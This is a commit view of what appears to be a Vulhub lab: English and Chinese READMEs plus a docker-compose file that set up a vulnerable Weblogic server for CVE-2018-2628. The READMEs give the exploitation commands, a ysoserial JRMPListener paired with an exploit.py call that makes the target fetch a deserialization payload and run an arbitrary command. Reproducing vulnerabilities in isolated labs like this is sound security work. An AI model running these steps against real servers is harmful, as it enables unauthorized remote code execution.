first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled

This commit is contained in:
2025-09-06 16:08:15 +08:00
commit 63285f61aa
2624 changed files with 88491 additions and 0 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 117 KiB

View File

@@ -0,0 +1,45 @@
# Weblogic WLS Core Components Deserialization Remote Command Execution (CVE-2018-2628)
[中文版本(Chinese version)](README.zh-cn.md)
Oracle Weblogic Server is a popular enterprise application server that provides a wide range of features for building and deploying enterprise applications.
In Oracle's April 2018 patch, a deserialization vulnerability in Weblogic Server WLS Core Components was fixed (CVE-2018-2628). This vulnerability can be triggered through the T3 protocol, allowing unauthorized users to execute arbitrary commands on the remote server.
Reference links:
- http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html
- http://mp.weixin.qq.com/s/nYY4zg2m2xsqT0GXa9pMGA
- https://github.com/tdy218/ysoserial-cve-2018-2628
## Environment Setup
Execute the following command to start Weblogic 10.3.6.0:
```
docker compose up -d
```
Wait for the environment to start (depending on your machine, it might take a while), then visit `http://your-ip:7001/console` to initialize the environment.
## Vulnerability Reproduce
First, download ysoserial and start a JRMP Server:
```
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
```
Where `[command]` is the command you want to execute, and `[listen port]` is the port that the JRMP Server listens on.
Then, use the [exploit.py](https://www.exploit-db.com/exploits/44553) script to send a packet to the target Weblogic (`http://your-ip:7001`):
```
python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
```
Where `[victim ip]` and `[victim port]` are the IP and port of the target weblogic, `[path to ysoserial]` is the local path to ysoserial, `[JRMPListener ip]` and `[JRMPListener port]` are the IP address and port of the JRMP Server started in step 1. `[JRMPClient]` is the class to execute JRMPClient, the optional values are `JRMPClient` or `JRMPClient2`.
After exploit.py is executed, run `docker compose exec weblogic bash` to enter the container, and you can see that /tmp/success has been successfully created.
![](1.png)

View File

@@ -0,0 +1,41 @@
# Weblogic WLS Core Components 反序列化命令执行漏洞CVE-2018-2628
Oracle 2018年4月补丁中修复了Weblogic Server WLS Core Components中出现的一个反序列化漏洞CVE-2018-2628该漏洞通过T3协议触发可导致未授权的用户在远程服务器执行任意命令。
参考链接:
- http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html
- http://mp.weixin.qq.com/s/nYY4zg2m2xsqT0GXa9pMGA
- https://github.com/tdy218/ysoserial-cve-2018-2628
## 漏洞环境
执行如下命令启动Weblogic 10.3.6.0
```
docker compose up -d
```
等待环境启动(环境差异,有的机器可能等待的时间比较久),访问`http://your-ip:7001/console`,初始化整个环境。
## 漏洞复现
首先下载ysoserial并启动一个JRMP Server
```
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
```
其中,`[command]`即为我想执行的命令,而`[listen port]`是JRMP Server监听的端口。
然后,使用[exploit.py](https://www.exploit-db.com/exploits/44553)脚本向目标Weblogic`http://your-ip:7001`)发送数据包:
```
python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
```
其中,`[victim ip]``[victim port]`是目标weblogic的IP和端口`[path to ysoserial]`是本地ysoserial的路径`[JRMPListener ip]``[JRMPListener port]`第一步中启动JRMP Server的IP地址和端口。`[JRMPClient]`是执行JRMPClient的类可选的值是`JRMPClient``JRMPClient2`
exploit.py执行完成后执行`docker compose exec weblogic bash`进入容器中,可见/tmp/success已成功创建。
![](1.png)

View File

@@ -0,0 +1,5 @@
services:
weblogic:
image: vulhub/weblogic:10.3.6.0-2017
ports:
- "7001:7001"